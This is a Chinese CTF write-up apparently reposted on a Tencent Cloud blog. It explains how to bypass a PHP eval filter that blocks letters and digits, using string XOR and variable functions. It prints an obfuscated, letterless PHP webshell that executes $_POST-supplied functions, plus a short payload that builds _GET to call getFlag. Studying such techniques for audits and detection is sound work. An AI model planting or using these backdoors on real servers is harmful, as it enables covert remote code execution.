前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >记一次拿webshell踩过的坑(如何用PHP编写一个不包含数字和字母的后门)

记一次拿webshell踩过的坑(如何用PHP编写一个不包含数字和字母的后门)

作者头像
Angel_Kitty
发布2018-08-15 15:27:08
2.7K0
发布2018-08-15 15:27:08
举报

0x01 前言

最近在做代码审计的工作中遇到了一个难题,题目描述如下:

代码语言:javascript
复制
<?php
include 'flag.php';
if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(strlen($code)>40){
        die("Long.");
    }
    if(preg_match("/[A-Za-z0-9]+/",$code)){
        die("NO.");
    }
    @eval($code);
}else{
    highlight_file(__FILE__);
}
//$hint =  "php function getFlag() to get flag";
?>

这一串代码描述是这样子,我们要绕过A-Za-z0-9这些常规数字、字母字符串的传参,将非字母、数字的字符经过各种变换,最后能构造出 a-z 中任意一个字符,并且字符串长度小于40。然后再利用 PHP允许动态函数执行的特点,拼接处一个函数名,这里我们是 "getFlag",然后动态执行之即可。

那么,我们需要考虑的问题是如何通过各种变换,使得我们能够去成功读取到getFlag函数,然后拿到webshell。

0x02 前置知识铺垫

在理解这篇文章之前,我们首先需要大家了解的是PHP中异或(^)的概念。

我们先看一下下面这段代码:

代码语言:javascript
复制
<?php
    echo "A"^"?";
?>

运行结果如下:

我们可以看到,输出的结果是字符"~"。之所以会得到这样的结果,是因为代码中对字符"A"和字符"?"进行了异或操作。在PHP中,两个变量进行异或时,先会将字符串转换成ASCII值,再将ASCII值转换成二进制再进行异或,异或完,又将结果从二进制转换成了ASCII值,再将ASCII值转换成字符串。异或操作有时也被用来交换两个变量的值。

比如像上面这个例子

A的ASCII值是65,对应的二进制值是01000001

?的ASCII值是63,对应的二进制值是00111111

异或的二进制的值是10000000,对应的ASCII值是126,对应的字符串的值就是~了

我们都知道,PHP是弱类型的语言,也就是说在PHP中我们可以不预先声明变量的类型,而直接声明一个变量并进行初始化或赋值操作。正是由于PHP弱类型的这个特点,我们对PHP的变类型进行隐式的转换,并利用这个特点进行一些非常规的操作。如将整型转换成字符串型,将布尔型当作整型,或者将字符串当作函数来处理,下面我们来看一段代码:

代码语言:javascript
复制
<?php
    function B(){
        echo "Hello Angel_Kitty";
    }
    $_++;
    $__= "?" ^ "}";
    $__();
?>

代码执行结果如下:

我们一起来分析一下上面这段代码:

  1. $_++; 这行代码的意思是对变量名为"_"的变量进行自增操作,在PHP中未定义的变量默认值为null,null==false==0,我们可以在不使用任何数字的情况下,通过对未定义变量的自增操作来得到一个数字。
  2. $__="?" ^ "}"; 对字符"?"和"}"进行异或运算,得到结果B赋给变量名为"__"(两个下划线)的变量
  3. $ __ (); 通过上面的赋值操作,变量$__的值为B,所以这行可以看作是B(),在PHP中,这行代码表示调用函数B,所以执行结果为Hello Angel_Kitty。在PHP中,我们可以将字符串当作函数来处理。

看到这里,相信大家如果再看到类似的PHP后门应该不会那么迷惑了,你可以通过一句句的分析后门代码来理解后门想实现的功能。

我们希望使用这种后门创建一些可以绕过检测的并且对我们有用的字符串,如_POST", "system", "call_user_func_array",或者是任何我们需要的东西。

下面是个非常简单的非数字字母的PHP后门:

代码语言:javascript
复制
<?php
    @$_++; // $_ = 1
    $__=("#"^"|"); // $__ = _
    $__.=("."^"~"); // _P
    $__.=("/"^"`"); // _PO
    $__.=("|"^"/"); // _POS
    $__.=("{"^"/"); // _POST 
    ${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);
?>

在这里我说明下,.=是字符串的连接,具体参看php语法

我们甚至可以将上面的代码合并为一行,从而使程序的可读性更差,代码如下:

代码语言:javascript
复制
$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");

0x03 问题分析

对于文章开始遇到的那道难题,最开始我们的想法是通过构造异或来去绕过那串字符,但由于最后构造的字串远远超过了长度len=40,然后我们最后放弃了~~

我们该如何构造这个字串使得长度小于40呢?

我们最终是要读取到那个getFlag函数,我们需要构造一个_GET来去读取这个函数,我们最终构造了如下字符串:

代码语言:javascript
复制
?code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=getFlag

可能很多小伙伴看完前置知识后仍然无法理解这段字符串是如何构造的吧,我们就对这段字符串进行段分析

①构造_GET读取

首先我们得知道_GET由什么异或而来的,经过我的尝试与分析,我得出了下面的结论:

代码语言:javascript
复制
<?php
    echo "`{{{"^"?<>/";//_GET
?>

这段代码一大坨是啥意思呢?因为40个字符长度的限制,导致以前逐个字符异或拼接的webshell不能使用。 这里可以使用php中可以执行命令的反引号` ` 和Linux下面的通配符?

  • ? 代表匹配一个字符
  • ` 表示执行命令
  • " 对特殊字符串进行解析

由于?只能匹配一个字符,这种写法的意思是循环调用,分别匹配。我们将其进行分解来看

代码语言:javascript
复制
<?php
    echo "{"^"<";
?>

输出结果为:

代码语言:javascript
复制
<?php
    echo "{"^">";
?>

输出结果为:

代码语言:javascript
复制
<?php
    echo "{"^"/";
?>

输出结果为:

所以_GET就是这么被构造出来的

②获取_GET参数

如何获取呢?咱们可以构造出如下字串:

代码语言:javascript
复制
<?php
    echo ${$_}[_](${$_}[__]);//$_GET[_]($_GET[__])
?>

根据前面构造的来看,$_已经变成了_GET。

顺理成章的来讲,$_ = _GET这个字符串。

我们构建$_GET[ __ ]是为了要获取参数值

③传入参数

此时我们只需要去调用getFlag函数获取webshell就好了,构造如下:

代码语言:javascript
复制
<?php
    echo $_=getFlag;//getFlag
?>

所以把参数全部连接起来,就可以了~~

代码语言:javascript
复制
?code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=getFlag

结果如下:

我们就成功读取到了flag~~

0x04 扩展阅读

我给大家推荐几篇写的比较好的,方便大家能更进一步的理解这个东西。

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2018-08-06 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x01 前言
  • 0x02 前置知识铺垫
  • 0x03 问题分析
    • ①构造_GET读取
      • ②获取_GET参数
        • ③传入参数
        • 0x04 扩展阅读
        相关产品与服务
        代码审计
        代码审计(Code Audit,CA)提供通过自动化分析工具和人工审查的组合审计方式,对程序源代码逐条进行检查、分析,发现其中的错误信息、安全隐患和规范性缺陷问题,以及由这些问题引发的安全漏洞,提供代码修订措施和建议。支持脚本类语言源码以及有内存控制类源码。
        领券
        问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档